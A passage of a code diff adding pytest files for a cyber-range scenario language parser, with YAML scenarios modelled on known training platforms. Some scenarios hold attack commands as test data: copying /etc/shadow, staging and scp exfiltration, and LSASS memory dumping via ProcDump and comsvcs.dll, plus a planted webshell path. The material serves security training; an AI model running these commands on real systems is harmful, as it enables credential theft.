gateway="10.0.0.1", internal=True) + assert p.internal is True + + def test_default_not_internal(self): + from aptl.core.sdl.infrastructure import SimpleProperties + p = SimpleProperties(cidr="10.0.0.0/24", gateway="10.0.0.1") + assert p.internal is False diff --git a/tests/test_sdl_parser.py b/tests/test_sdl_parser.py new file mode 100644 index 000000000..bcbeb53d7 --- /dev/null +++ b/tests/test_sdl_parser.py @@ -0,0 +1,199 @@ +"""Tests for SDL parser — YAML loading, key normalization, shorthands.""" + +import pytest + +from aptl.core.sdl._errors import SDLParseError, SDLValidationError +from aptl.core.sdl.nodes import NodeType +from aptl.core.sdl.parser import parse_sdl + + +class TestKeyNormalization: + def test_lowercase_keys(self): + s = parse_sdl("name: test\nnodes:\n sw:\n type: switch") + assert "sw" in s.nodes + + def test_uppercase_keys(self): + """Pydantic field keys are normalized but user-defined names are preserved.""" + s = parse_sdl("Name: test\nNodes:\n SW:\n Type: Switch") + assert "SW" in s.nodes # user-defined name preserved as-is + assert s.nodes["SW"].type == NodeType.SWITCH # enum value normalized + + def test_hyphenated_keys(self): + sdl = """ +name: test +nodes: + vm-1: + type: vm + resources: + ram: 1 gib + cpu: 1 +infrastructure: + vm-1: + count: 1 +""" + s = parse_sdl(sdl) + assert "vm_1" in s.nodes or "vm-1" in s.nodes + + def test_integer_keys_preserved(self): + """YAML can have integer keys (e.g., in step numbers).""" + sdl = """ +name: test +nodes: + sw: + type: switch +""" + s = parse_sdl(sdl) + assert s.name == "test" + + +class TestShorthandExpansion: + def test_source_shorthand(self): + sdl = """ +name: test +features: + svc: + type: service + source: my-package +""" + s = parse_sdl(sdl, skip_semantic_validation=True) + assert s.features["svc"].source.name == "my-package" + assert s.features["svc"].source.version == "*" + + def test_source_longhand(self): + sdl = """ +name: test +features: + svc: + type: service + source: + name: my-package + version: 2.0.0 +""" + s = parse_sdl(sdl, skip_semantic_validation=True) + assert s.features["svc"].source.version == "2.0.0" + + def test_infrastructure_count_shorthand(self): + sdl = """ +name: test +nodes: + sw: + type: switch +infrastructure: + sw: 1 +""" + s = parse_sdl(sdl) + assert s.infrastructure["sw"].count == 1 + + def test_role_shorthand(self): + sdl = """ +name: test +nodes: + vm: + type: vm + resources: + ram: 1 gib + cpu: 1 + roles: + admin: "admin-user" +""" + s = parse_sdl(sdl) + assert s.nodes["vm"].roles["admin"].username == "admin-user" + + def test_min_score_shorthand(self): + sdl = """ +name: test +conditions: + c1: + command: /check + interval: 10 +metrics: + m1: + type: conditional + max-score: 10 + condition: c1 +evaluations: + e1: + metrics: + - m1 + min-score: 75 +""" + s = parse_sdl(sdl, skip_semantic_validation=True) + assert s.evaluations["e1"].min_score.percentage == 75 + + +class TestFormatDetection: + def test_ocr_format(self): + s = parse_sdl("name: test\nnodes:\n sw:\n type: switch") + assert s.name == "test" + assert s.metadata is None + + def test_aptl_legacy_format(self): + sdl = """ +metadata: + id: test-scenario + name: Test + description: A test + difficulty: beginner + estimated_minutes: 10 +mode: red +containers: + required: + - kali +objectives: + red: + - id: obj-a + description: Test objective + type: manual + points: 100 + blue: [] +""" + s = parse_sdl(sdl) + assert s.metadata is not None + assert s.metadata.id == "test-scenario" + + +class TestErrorHandling: + def test_empty_content(self): + with pytest.raises(SDLParseError, match="empty"): + parse_sdl("") + + def test_invalid_yaml(self): + with pytest.raises(SDLParseError, match="YAML"): + parse_sdl(":::invalid") + + def test_non_mapping(self): + with pytest.raises(SDLParseError, match="mapping"): + parse_sdl("- just\n- a\n- list") + + def test_no_identity(self): + with pytest.raises(SDLParseError): + parse_sdl("description: no name or metadata") + + +class TestSkipSemanticValidation: + def test_structural_only(self): + """skip_semantic_validation=True skips cross-reference checks.""" + s = parse_sdl( + "name: test\ngoals:\n g1:\n tlos:\n - missing-tlo", + skip_semantic_validation=True, + ) + assert "g1" in s.goals + + +class TestLoadRealScenarios: + """Verify all existing APTL scenario YAMLs parse successfully.""" + + @pytest.fixture + def scenarios_dir(self): + from pathlib import Path + d = Path("scenarios") + if not d.exists(): + pytest.skip("scenarios/ directory not found") + return d + + def test_all_scenarios_parse(self, scenarios_dir): + from aptl.core.sdl.parser import parse_sdl_file + + for path in sorted(scenarios_dir.glob("*.yaml")): + scenario = parse_sdl_file(path) + assert scenario.metadata is not None or scenario.name diff --git a/tests/test_sdl_stress.py b/tests/test_sdl_stress.py new file mode 100644 index 000000000..ffdf01cfc --- /dev/null +++ b/tests/test_sdl_stress.py @@ -0,0 +1,1359 @@ +"""Stress-test the SDL against 10 real-world scenarios from different platforms. + +Each scenario attempts to faithfully represent a topology/exercise from +a known cyber range platform in APTL SDL format. This tests the +expressiveness boundaries of the language. +""" + +import textwrap + +import pytest + +from aptl.core.sdl import parse_sdl, SDLParseError, SDLValidationError + + +def _parse(yaml_str: str, label: str): + """Parse SDL and report what worked and what didn't.""" + try: + s = parse_sdl(textwrap.dedent(yaml_str)) + return s, None + except (SDLParseError, SDLValidationError) as e: + return None, e + + +# ----------------------------------------------------------------------- +# 1. OCR SDL: Full exercise from their test suite +# ----------------------------------------------------------------------- + +OCR_FULL_EXERCISE = """ +name: ocr-full-exercise +description: Full OCR SDL exercise with all 14 sections + +nodes: + main-switch: + type: Switch + win-10: + type: VM + source: windows10 + resources: + ram: 4 gib + cpu: 2 + roles: + admin: admin-user + defender: + username: blue-user + entities: + - blue-team.bob + features: + apache-svc: admin + conditions: + service-check: admin + vulnerabilities: + - sqli-vuln + deb-server: + type: VM + source: + name: debian11 + version: "2.0.0" + resources: + ram: 2 gib + cpu: 1 + +infrastructure: + main-switch: + count: 1 + properties: + cidr: 10.10.10.0/24 + gateway: 10.10.10.1 + win-10: + count: 1 + links: + - main-switch + properties: + - main-switch: 10.10.10.10 + deb-server: + links: + - main-switch + dependencies: + - win-10 + +features: + apache-svc: + type: Service + source: apache-package + web-config: + type: Configuration + source: + name: web-cfg + version: 1.0.0 + dependencies: + - apache-svc + artifact-lib: + type: Artifact + source: dl-library + destination: /opt/lib + +conditions: + service-check: + command: /usr/local/bin/check.sh + interval: 30 + lib-condition: + source: checker-pkg + +vulnerabilities: + sqli-vuln: + name: SQL Injection + description: SQLi in login form + technical: true + class: CWE-89 + +metrics: + manual-grade: + type: MANUAL + artifact: true + max-score: 10 + auto-grade: + type: CONDITIONAL + max-score: 10 + condition: service-check + +evaluations: + eval-1: + metrics: + - manual-grade + - auto-grade + min-score: 50 + +tlos: + tlo-defense: + name: Web Defense + evaluation: eval-1 + +goals: + goal-1: + tlos: + - tlo-defense + +entities: + blue-team: + name: Blue Team + role: Blue + tlos: + - tlo-defense + entities: + bob: + name: Blue Bob + red-team: + name: Red Team + role: Red + +injects: + attack-inject: + source: attack-pkg + from-entity: red-team + to-entities: + - blue-team + tlos: + - tlo-defense + +events: + attack-event: + conditions: + - service-check + injects: + - attack-inject + +scripts: + main-script: + start-time: 5 min + end-time: 2 hour + speed: 1.0 + events: + attack-event: 30 min + +stories: + main-story: + speed: 1 + scripts: + - main-script +""" + + +# ----------------------------------------------------------------------- +# 2. CybORG CAGE-1 style: 3-host Metasploit vs Velociraptor +# ----------------------------------------------------------------------- + +CYBORG_CAGE1 = """ +name: cyborg-cage1 +description: > + CybORG CAGE Challenge 1 topology: attacker, gateway, internal host, + and a defender running Velociraptor. + +nodes: + attacker-net: + type: Switch + defender-net: + type: Switch + private-net: + type: Switch + attacker: + type: VM + source: kali-box + resources: + ram: 2 gib + cpu: 2 + gateway: + type: VM + source: ubuntu-gateway + resources: + ram: 1 gib + cpu: 1 + vulnerabilities: + - ssh-brute + - ms17-010 + internal: + type: VM + source: ubuntu-internal + resources: + ram: 1 gib + cpu: 1 + vulnerabilities: + - ms17-010 + defender: + type: VM + source: velociraptor-server + resources: + ram: 2 gib + cpu: 1 + features: + velociraptor-server: admin + roles: + admin: ubuntu + +infrastructure: + attacker-net: + count: 1 + properties: + cidr: 10.0.0.0/24 + gateway: 10.0.0.1 + defender-net: + count: 1 + properties: + cidr: 10.0.1.0/24 + gateway: 10.0.1.1 + private-net: + count: 1 + properties: + cidr: 10.0.2.0/24 + gateway: 10.0.2.1 + attacker: + count: 1 + links: + - attacker-net + gateway: + count: 1 + links: + - private-net + - attacker-net + internal: + count: 1 + links: + - private-net + defender: + count: 1 + links: + - defender-net + - private-net + +features: + velociraptor-server: + type: Service + source: velociraptor + +vulnerabilities: + ssh-brute: + name: SSH Brute Force + description: Weak SSH credentials on gateway + technical: true + class: CWE-521 + ms17-010: + name: EternalBlue (MS17-010) + description: SMB remote code execution + technical: true + class: CWE-119 + +entities: + red-agent: + name: Red Agent + role: Red + blue-agent: + name: Blue Agent + role: Blue +""" + + +# ----------------------------------------------------------------------- +# 3. CybORG CAGE-2 style: 13-host enterprise with OT +# ----------------------------------------------------------------------- + +CYBORG_CAGE2 = """ +name: cyborg-cage2 +description: > + CybORG CAGE Challenge 2: 13-host enterprise with user, enterprise, + and operational segments. Red/Blue/Green agents. + +nodes: + user-net: + type: Switch + enterprise-net: + type: Switch + operational-net: + type: Switch + user0: + type: VM + source: windows-user + resources: {ram: 1 gib, cpu: 1} + user1: + type: VM + source: windows-user + resources: {ram: 1 gib, cpu: 1} + user2: + type: VM + source: windows-user + resources: {ram: 1 gib, cpu: 1} + user3: + type: VM + source: windows-user + resources: {ram: 1 gib, cpu: 1} + user4: + type: VM + source: windows-user + resources: {ram: 1 gib, cpu: 1} + enterprise0: + type: VM + source: gateway + resources: {ram: 1 gib, cpu: 1} + vulnerabilities: [eternal-blue, bluekeep] + enterprise1: + type: VM + source: internal-server + resources: {ram: 1 gib, cpu: 1} + vulnerabilities: [eternal-blue, http-rfi] + enterprise2: + type: VM + source: internal-server + resources: {ram: 1 gib, cpu: 1} + vulnerabilities: [haraka-rce, ftp-traversal] + defender: + type: VM + source: velociraptor-server + resources: {ram: 2 gib, cpu: 2} + op-server0: + type: VM + source: ot-server + resources: {ram: 1 gib, cpu: 1} + op-host0: + type: VM + source: ot-host + resources: {ram: 1 gib, cpu: 1} + op-host1: + type: VM + source: ot-host + resources: {ram: 1 gib, cpu: 1} + op-host2: + type: VM + source: ot-host + resources: {ram: 1 gib, cpu: 1} + +infrastructure: + user-net: + count: 1 + properties: {cidr: 10.0.0.0/24, gateway: 10.0.0.1} + enterprise-net: + count: 1 + properties: {cidr: 10.0.1.0/24, gateway: 10.0.1.1} + operational-net: + count: 1 + properties: {cidr: 10.0.2.0/24, gateway: 10.0.2.1} + user0: {count: 1, links: [user-net]} + user1: {count: 1, links: [user-net]} + user2: {count: 1, links: [user-net]} + user3: {count: 1, links: [user-net]} + user4: {count: 1, links: [user-net]} + enterprise0: {count: 1, links: [enterprise-net, user-net]} + enterprise1: {count: 1, links: [enterprise-net]} + enterprise2: {count: 1, links: [enterprise-net]} + defender: {count: 1, links: [enterprise-net]} + op-server0: {count: 1, links: [operational-net, enterprise-net]} + op-host0: {count: 1, links: [operational-net]} + op-host1: {count: 1, links: [operational-net]} + op-host2: {count: 1, links: [operational-net]} + +vulnerabilities: + eternal-blue: + name: EternalBlue + description: MS17-010 SMB RCE + technical: true + class: CWE-119 + bluekeep: + name: BlueKeep + description: CVE-2019-0708 RDP RCE + technical: true + class: CWE-416 + http-rfi: + name: HTTP Remote File Inclusion + description: RFI via web application + technical: true + class: CWE-98 + haraka-rce: + name: Haraka SMTP RCE + description: RCE via malformed SMTP + technical: true + class: CWE-78 + ftp-traversal: + name: FTP Directory Traversal + description: Path traversal in FTP server + technical: true + class: CWE-22 + +entities: + red: + name: Red Agent + role: Red + blue: + name: Blue Agent + role: Blue + green: + name: Green Agent (normal users) + role: Green +""" + + +# ----------------------------------------------------------------------- +# 4. CALDERA-style: Ransack adversary profile (multi-step data theft) +# ----------------------------------------------------------------------- + +CALDERA_RANSACK = """ +name: caldera-ransack +description: > + CALDERA Ransack adversary profile: 18-step data theft operation + modeled as attack steps with MITRE ATT&CK mapping. + +metadata: + id: caldera-ransack + name: CALDERA Ransack Adversary + description: Multi-step data theft operation inspired by CALDERA adversary profiles + difficulty: advanced + estimated_minutes: 45 + tags: [caldera, data-theft, exfiltration] + mitre_attack: + tactics: [Discovery, Collection, Exfiltration] + techniques: [T1083, T1119, T1005, T1074, T1560, T1048] + +mode: red + +containers: + required: [kali, victim] + +objectives: + red: + - id: discover-files + description: Discover sensitive files on target + type: manual + points: 50 + - id: stage-data + description: Stage collected data for exfiltration + type: command_output + points: 100 + command_output: + container: victim + command: "ls /tmp/staged/" + contains: ["sensitive"] + - id: exfiltrate + description: Exfiltrate data to attacker-controlled host + type: file_exists + points: 150 + file_exists: + container: kali + path: /home/kali/operations/exfil/loot.tar.gz + blue: [] + +steps: + - step_number: 1 + technique_id: T1083 + technique_name: File and Directory Discovery + tactic: Discovery + description: Enumerate sensitive file locations + target: victim + commands: ["find / -name '*.conf' -o -name '*.key' 2>/dev/null"] + - step_number: 2 + technique_id: T1005 + technique_name: Data from Local System + tactic: Collection + description: Collect sensitive files + target: victim + commands: ["cp /etc/shadow /tmp/staged/"] + - step_number: 3 + technique_id: T1074 + technique_name: Data Staged + tactic: Collection + description: Stage data in temporary directory + target: victim + commands: ["tar czf /tmp/staged/loot.tar.gz /tmp/staged/"] + - step_number: 4 + technique_id: T1048 + technique_name: Exfiltration Over Alternative Protocol + tactic: Exfiltration + description: Exfiltrate via SCP + target: kali + commands: ["scp victim:/tmp/staged/loot.tar.gz /home/kali/operations/exfil/"] + +scoring: + passing_score: 150 + max_score: 300 +""" + + +# ----------------------------------------------------------------------- +# 5. Atomic Red Team style: credential dumping test battery +# ----------------------------------------------------------------------- + +ATOMIC_CRED_DUMP = """ +name: atomic-credential-dumping +description: > + Atomic Red Team T1003.001 credential dumping tests adapted + to SDL format. Tests LSASS memory access techniques. + +metadata: + id: atomic-cred-dump + name: Credential Dumping Test Battery + description: LSASS credential dumping techniques from Atomic Red Team + difficulty: intermediate + estimated_minutes: 30 + tags: [atomic-red-team, credential-access, lsass] + mitre_attack: + techniques: [T1003.001] + +mode: red + +containers: + required: [kali, victim] + +objectives: + red: + - id: procdump-lsass + description: Dump LSASS using ProcDump + type: manual + points: 50 + - id: comsvcs-dump + description: Dump LSASS using comsvcs.dll MiniDump + type: manual + points: 50 + - id: mimikatz-extract + description: Extract credentials with Mimikatz + type: command_output + points: 100 + command_output: + container: kali + command: cat /home/kali/operations/creds.txt + contains: ["Username", "Password"] + blue: [] + +steps: + - step_number: 1 + technique_id: T1003.001 + technique_name: "LSASS Memory" + tactic: "Credential Access" + description: "Dump LSASS process memory via ProcDump" + target: victim + commands: + - 'procdump.exe -accepteula -ma lsass.exe lsass.dmp' + expected_detections: + - product_name: wazuh + severity_id: 4 + description: Process access to LSASS detected + max_detection_time_seconds: 30 + - step_number: 2 + technique_id: T1003.001 + technique_name: "LSASS Memory" + tactic: "Credential Access" + description: "Dump via comsvcs.dll MiniDump" + target: victim + commands: + - 'rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump PID dump.bin full' + expected_detections: + - product_name: wazuh + severity_id: 5 + description: Rundll32 loading comsvcs.dll for MiniDump + max_detection_time_seconds: 15 + +scoring: + passing_score: 100 + max_score: 200 +""" + + +# ----------------------------------------------------------------------- +# 6. CyRIS-style: DMZ with firewall rules +# ----------------------------------------------------------------------- + +CYRIS_DMZ = """ +name: cyris-dmz-topology +description: > + CyRIS-style DMZ topology with web server, database, and firewall. + Models a basic enterprise perimeter. + +nodes: + wan-switch: + type: Switch + dmz-switch: + type: Switch + lan-switch: + type: Switch + firewall: + type: VM + source: pfsense + resources: {ram: 512 mib, cpu: 1} + features: + fw-rules: admin + roles: + admin: root + webserver: + type: VM + source: ubuntu-apache + resources: {ram: 1 gib, cpu: 1} + features: + apache-web: www + php-app: www + conditions: + http-alive: www + vulnerabilities: [sqli-web, lfi-web] + roles: + www: www-data + database: + type: VM + source: ubuntu-mysql + resources: {ram: 1 gib, cpu: 1} + features: + mysql-server: dba + conditions: + mysql-alive: dba + roles: + dba: mysql + attacker: + type: VM + source: kali-linux + resources: {ram: 2 gib, cpu: 2} + +infrastructure: + wan-switch: + count: 1 + properties: {cidr: 192.168.1.0/24, gateway: 192.168.1.1} + dmz-switch: + count: 1 + properties: {cidr: 172.16.0.0/24, gateway: 172.16.0.1} + lan-switch: + count: 1 + properties: {cidr: 10.0.0.0/24, gateway: 10.0.0.1} + firewall: + count: 1 + links: [wan-switch, dmz-switch, lan-switch] + webserver: + count: 1 + links: [dmz-switch] + dependencies: [firewall] + database: + count: 1 + links: [lan-switch] + dependencies: [firewall] + attacker: + count: 1 + links: [wan-switch] + +features: + fw-rules: + type: Configuration + source: pfsense-rules + description: Firewall rules allowing HTTP to DMZ, deny LAN from WAN + apache-web: + type: Service + source: apache2 + php-app: + type: Service + source: vulnerable-php-app + dependencies: [apache-web] + mysql-server: + type: Service + source: mysql-5.7 + +conditions: + http-alive: + command: "curl -sf http://localhost/ || exit 1" + interval: 15 + mysql-alive: + command: "mysqladmin ping -u root" + interval: 15 + +vulnerabilities: + sqli-web: + name: SQL Injection + description: SQLi in PHP application login + technical: true + class: CWE-89 + lfi-web: + name: Local File Inclusion + description: LFI via path traversal in file parameter + technical: true + class: CWE-98 +""" + + +# ----------------------------------------------------------------------- +# 7. KYPO-style: CTF training with scoring +# ----------------------------------------------------------------------- + +KYPO_CTF = """ +name: kypo-ctf-training +description: > + KYPO-style CTF training exercise with multi-level challenges + and progressive hints. + +nodes: + training-net: + type: Switch + challenge-server: + type: VM + source: ubuntu-ctf + resources: {ram: 2 gib, cpu: 2} + vulnerabilities: [weak-ssh, exposed-backup, suid-binary] + scoreboard: + type: VM + source: ctfd-server + resources: {ram: 1 gib, cpu: 1} + +infrastructure: + training-net: + count: 1 + properties: {cidr: 10.10.0.0/24, gateway: 10.10.0.1} + challenge-server: + count: 1 + links: [training-net] + scoreboard: + count: 1 + links: [training-net] + +vulnerabilities: + weak-ssh: + name: Weak SSH Password + description: SSH service with default credentials + technical: false + class: CWE-521 + exposed-backup: + name: Exposed Backup File + description: Database backup accessible via web + technical: true + class: CWE-538 + suid-binary: + name: SUID Binary Exploit + description: Custom SUID binary with buffer overflow + technical: true + class: CWE-120 + +entities: + trainers: + name: Training Staff + role: White + participants: + name: CTF Participants + role: Blue + entities: + team-alpha: + name: Team Alpha + team-bravo: + name: Team Bravo + +conditions: + flag-check-1: + command: "/opt/ctf/check_flag.sh level1" + interval: 10 + flag-check-2: + command: "/opt/ctf/check_flag.sh level2" + interval: 10 + flag-check-3: + command: "/opt/ctf/check_flag.sh level3" + interval: 10 + +metrics: + level-1: + type: CONDITIONAL + max-score: 100 + condition: flag-check-1 + level-2: + type: CONDITIONAL + max-score: 200 + condition: flag-check-2 + level-3: + type: CONDITIONAL + max-score: 300 + condition: flag-check-3 + +evaluations: + ctf-eval: + metrics: [level-1, level-2, level-3] + min-score: + absolute: 300 + +tlos: + ctf-skills: + name: CTF Problem Solving + evaluation: ctf-eval + +goals: + complete-ctf: + tlos: [ctf-skills] +""" + + +# ----------------------------------------------------------------------- +# 8. Hack The Box style: single-machine challenge +# ----------------------------------------------------------------------- + +HTB_MACHINE = """ +name: htb-style-machine +description: > + Hack The Box style single-machine challenge. Web app initial access, + privilege escalation to root. + +nodes: + challenge-net: + type: Switch + target: + type: VM + source: htb-machine-easy + resources: {ram: 1 gib, cpu: 1} + features: + nginx-web: www + vulnerable-api: www + conditions: + web-health: www + vulnerabilities: + - api-idor + - sudo-miscfg + roles: + www: www-data + user: htb-user + root: root + +infrastructure: + challenge-net: + count: 1 + properties: {cidr: 10.10.10.0/24, gateway: 10.10.10.1} + target: + count: 1 + links: [challenge-net] + properties: + - challenge-net: 10.10.10.50 + +features: + nginx-web: + type: Service + source: nginx + vulnerable-api: + type: Service + source: nodejs-api + dependencies: [nginx-web] + +conditions: + web-health: + command: "curl -sf http://localhost:80/ || exit 1" + interval: 15 + +vulnerabilities: + api-idor: + name: API IDOR + description: Insecure Direct Object Reference in REST API + technical: true + class: CWE-639 + sudo-miscfg: + name: Sudo Misconfiguration + description: User can run vim as root without password + technical: true + class: CWE-269 +""" + + +# ----------------------------------------------------------------------- +# 9. Enterprise AD lab: multi-forest with trust relationships +# ----------------------------------------------------------------------- + +ENTERPRISE_AD = """ +name: enterprise-ad-lab +description: > + Enterprise Active Directory lab with parent and child domains, + trust relationships, and multi-tier architecture. + +nodes: + corp-net: + type: Switch + dmz-net: + type: Switch + mgmt-net: + type: Switch + dc01: + type: VM + source: windows-server-2022 + resources: {ram: 4 gib, cpu: 2} + features: {ad-forest-root: admin} + vulnerabilities: [as-rep-roast, gpp-passwords] + roles: {admin: Administrator} + dc02: + type: VM + source: windows-server-2022 + resources: {ram: 4 gib, cpu: 2} + features: {ad-child-domain: admin} + vulnerabilities: [unconstrained-deleg] + roles: {admin: Administrator} + exchange: + type: VM + source: windows-server-2019 + resources: {ram: 8 gib, cpu: 4} + features: {exchange-server: admin} + vulnerabilities: [proxylogon] + roles: {admin: Administrator} + fileserver: + type: VM + source: windows-server-2022 + resources: {ram: 2 gib, cpu: 1} + vulnerabilities: [open-smb-shares] + ws01: + type: VM + source: windows-10-enterprise + resources: {ram: 4 gib, cpu: 2} + vulnerabilities: [local-admin-reuse] + ws02: + type: VM + source: windows-10-enterprise + resources: {ram: 4 gib, cpu: 2} + linux-jump: + type: VM + source: ubuntu-22.04 + resources: {ram: 1 gib, cpu: 1} + features: {ssh-bastion: admin} + conditions: {ssh-alive: admin} + roles: + admin: sysadmin + +infrastructure: + corp-net: + count: 1 + properties: {cidr: 10.0.0.0/16, gateway: 10.0.0.1} + dmz-net: + count: 1 + properties: {cidr: 172.16.0.0/24, gateway: 172.16.0.1} + mgmt-net: + count: 1 + properties: {cidr: 192.168.100.0/24, gateway: 192.168.100.1} + dc01: {count: 1, links: [corp-net]} + dc02: {count: 1, links: [corp-net], dependencies: [dc01]} + exchange: {count: 1, links: [corp-net, dmz-net], dependencies: [dc01]} + fileserver: {count: 1, links: [corp-net]} + ws01: {count: 1, links: [corp-net]} + ws02: {count: 1, links: [corp-net]} + linux-jump: {count: 1, links: [dmz-net, mgmt-net]} + +features: + ad-forest-root: + type: Service + source: adds-forest-root + description: AD DS forest root (corp.local) + ad-child-domain: + type: Service + source: adds-child + dependencies: [ad-forest-root] + description: Child domain (dev.corp.local) + exchange-server: + type: Service + source: exchange-2019 + dependencies: [ad-forest-root] + ssh-bastion: + type: Service + source: openssh-server + +conditions: + ssh-alive: + command: "ss -tlnp | grep ':22' || exit 1" + interval: 15 + +vulnerabilities: + as-rep-roast: + name: AS-REP Roasting + description: Accounts without Kerberos pre-authentication + technical: true + class: CWE-287 + gpp-passwords: + name: GPP Passwords + description: Passwords in Group Policy Preferences + technical: true + class: CWE-312 + unconstrained-deleg: + name: Unconstrained Delegation + description: Computer with unconstrained delegation enabled + technical: true + class: CWE-250 + proxylogon: + name: ProxyLogon + description: CVE-2021-26855 Exchange Server SSRF + technical: true + class: CWE-918 + open-smb-shares: + name: Open SMB Shares + description: Sensitive data on world-readable shares + technical: false + class: CWE-732 + local-admin-reuse: + name: Local Admin Password Reuse + description: Same local admin password across workstations + technical: false + class: CWE-521 +""" + + +# ----------------------------------------------------------------------- +# 10. Cloud-hybrid: AWS VPC + on-prem with VPN tunnel +# ----------------------------------------------------------------------- + +CLOUD_HYBRID = """ +name: cloud-hybrid-scenario +description: > + Hybrid cloud/on-prem topology modeling an AWS VPC connected + to on-premises network via VPN. Tests SDL with cloud-like + topology patterns. + +nodes: + aws-vpc: + type: Switch + description: AWS VPC (simulated) + onprem-lan: + type: Switch + description: On-premises corporate LAN + vpn-tunnel: + type: Switch + description: Site-to-site VPN tunnel + web-alb: + type: VM + source: nginx-proxy + resources: {ram: 512 mib, cpu: 1} + description: Application load balancer + app-server-1: + type: VM + source: nodejs-app + resources: {ram: 2 gib, cpu: 2} + features: {node-app: app-svc} + vulnerabilities: [ssrf-vuln] + roles: {app-svc: node} + app-server-2: + type: VM + source: nodejs-app + resources: {ram: 2 gib, cpu: 2} + features: {node-app: app-svc} + roles: {app-svc: node} + rds-primary: + type: VM + source: postgres-14 + resources: {ram: 4 gib, cpu: 2} + features: {postgres-db: dba} + conditions: {pg-health: dba} + vulnerabilities: [weak-rds-creds] + roles: + dba: postgres + onprem-dc: + type: VM + source: windows-server-2019 + resources: {ram: 4 gib, cpu: 2} + description: On-premises domain controller + vulnerabilities: [zerologon] + onprem-workstation: + type: VM + source: windows-10 + resources: {ram: 4 gib, cpu: 2} + +infrastructure: + aws-vpc: + count: 1 + properties: {cidr: 10.0.0.0/16, gateway: 10.0.0.1} + onprem-lan: + count: 1 + properties: {cidr: 192.168.0.0/16, gateway: 192.168.0.1} + vpn-tunnel: + count: 1 + properties: {cidr: 169.254.0.0/30, gateway: 169.254.0.1} + web-alb: {count: 1, links: [aws-vpc]} + app-server-1: {count: 1, links: [aws-vpc], dependencies: [rds-primary]} + app-server-2: {count: 1, links: [aws-vpc], dependencies: [rds-primary]} + rds-primary: {count: 1, links: [aws-vpc]} + onprem-dc: {count: 1, links: [onprem-lan]} + onprem-workstation: {count: 1, links: [onprem-lan]} + +features: + node-app: + type: Service + source: express-api + postgres-db: + type: Service + source: postgresql-14 + +conditions: + pg-health: + command: "pg_isready" + interval: 10 + +vulnerabilities: + ssrf-vuln: + name: SSRF to Metadata Service + description: SSRF allowing access to cloud metadata (169.254.169.254) + technical: true + class: CWE-918 + weak-rds-creds: + name: Weak Database Credentials + description: Default RDS master password + technical: false + class: CWE-521 + zerologon: + name: Zerologon (CVE-2020-1472) + description: Netlogon privilege escalation + technical: true + class: CWE-330 +""" + + +# ======================================================================= +# Test execution +# ======================================================================= + +# ----------------------------------------------------------------------- +# 11. Exchange server with mailboxes, accounts, ACLs, and content +# ----------------------------------------------------------------------- + +EXCHANGE_WITH_DATA = """ +name: exchange-phishing-exercise +description: > + Exchange server with user accounts, phishing lure emails, sensitive + financial data, and network access controls. Tests the content, + accounts, ACLs, services, os, and asset_value extensions. + +nodes: + corp-net: + type: Switch + dmz-net: + type: Switch + exchange: + type: VM + os: windows + os_version: "Server 2019" + source: exchange-2019 + resources: {ram: 8 gib, cpu: 4} + features: [exchange-server, outlook-web] + services: + - port: 443 + protocol: tcp + name: https + - port: 25 + protocol: tcp + name: smtp + - port: 587 + protocol: tcp + name: submission + vulnerabilities: [proxylogon] + asset_value: + confidentiality: high + integrity: high + availability: critical + dc: + type: VM + os: windows + os_version: "Server 2022" + source: windows-server-2022 + resources: {ram: 4 gib, cpu: 2} + features: [ad-ds] + attacker: + type: VM + os: linux + source: kali + resources: {ram: 2 gib, cpu: 2} + +infrastructure: + corp-net: + count: 1 + properties: + cidr: 10.0.0.0/24 + gateway: 10.0.0.1 + internal: true + dmz-net: + count: 1 + properties: + cidr: 172.16.0.0/24 + gateway: 172.16.0.1 + acls: + - direction: in + from_net: corp-net + protocol: tcp + ports: [443, 25] + action: allow + - direction: out + to_net: corp-net + action: deny + exchange: {count: 1, links: [corp-net, dmz-net]} + dc: {count: 1, links: [corp-net]} + attacker: {count: 1, links: [dmz-net]} + +features: + exchange-server: + type: Service + source: exchange-2019 + outlook-web: + type: Service + dependencies: [exchange-server] + source: owa-frontend + ad-ds: + type: Service + source: adds-forest-root + +vulnerabilities: + proxylogon: + name: ProxyLogon (CVE-2021-26855) + description: Exchange Server SSRF leading to RCE + technical: true + class: CWE-918 + +accounts: + ceo: + username: ceo + node: exchange + groups: [Domain Admins, Executives] + mail: ceo@techvault.local + password_strength: strong + cfo: + username: cfo + node: exchange + groups: [Finance, Executives] + mail: cfo@techvault.local + password_strength: strong + finance-analyst: + username: jsmith + node: exchange + groups: [Finance] + mail: jsmith@techvault.local + password_strength: weak + description: "Target for spearphishing - weak password" + svc-backup: + username: svc_backup + node: dc + groups: [Backup Operators] + password_strength: weak + spn: "MSSQL/db.techvault.local" + description: "Kerberoastable service account" + +content: + phishing-lures: + type: dataset + target: exchange + destination: /var/mail/jsmith/ + format: eml + description: "Spearphishing emails targeting finance analyst" + sensitive: true + items: + - name: "Q3 Budget Review - Action Required.eml" + tags: [phishing, attachment, macro] + - name: "Urgent Wire Transfer Approval.eml" + tags: [phishing, link, credential-harvesting] + - name: "Updated Benefits Enrollment.eml" + tags: [phishing, attachment, exe-in-zip] + sensitive-financials: + type: dataset + target: exchange + destination: /var/mail/cfo/ + format: eml + description: "Legitimate confidential financial emails" + sensitive: true + items: + - name: "Board Minutes - Q3 Confidential.eml" + tags: [pii, financial, exfil-target] + - name: "M&A Target List - Internal Only.eml" + tags: [financial, exfil-target] + planted-webshell: + type: file + target: exchange + path: /inetpub/wwwroot/aspnet_client/shell.aspx + description: "Pre-staged webshell simulating ProxyLogon exploitation" + sensitive: true + tags: [webshell, initial-access] + +entities: + red-team: + name: Red Team + role: Red + mission: "Exploit Exchange via ProxyLogon, exfiltrate financial data" + blue-team: + name: Blue Team + role: Blue + mission: "Detect Exchange compromise, contain lateral movement" + entities: + soc-analyst: + name: SOC Analyst +""" + + +SCENARIOS = [ + ("1. OCR Full Exercise (14 sections)", OCR_FULL_EXERCISE), + ("2. CybORG CAGE-1 (3-host, Metasploit)", CYBORG_CAGE1), + ("3. CybORG CAGE-2 (13-host enterprise+OT)", CYBORG_CAGE2), + ("4. CALDERA Ransack (multi-step attack)", CALDERA_RANSACK), + ("5. Atomic Red Team (credential dumping)", ATOMIC_CRED_DUMP), + ("6. CyRIS DMZ (firewall + web + db)", CYRIS_DMZ), + ("7. KYPO CTF (training + scoring)", KYPO_CTF), + ("8. HTB Machine (single-box challenge)", HTB_MACHINE), + ("9. Enterprise AD (multi-domain forest)", ENTERPRISE_AD), + ("10. Cloud Hybrid (AWS VPC + on-prem VPN)", 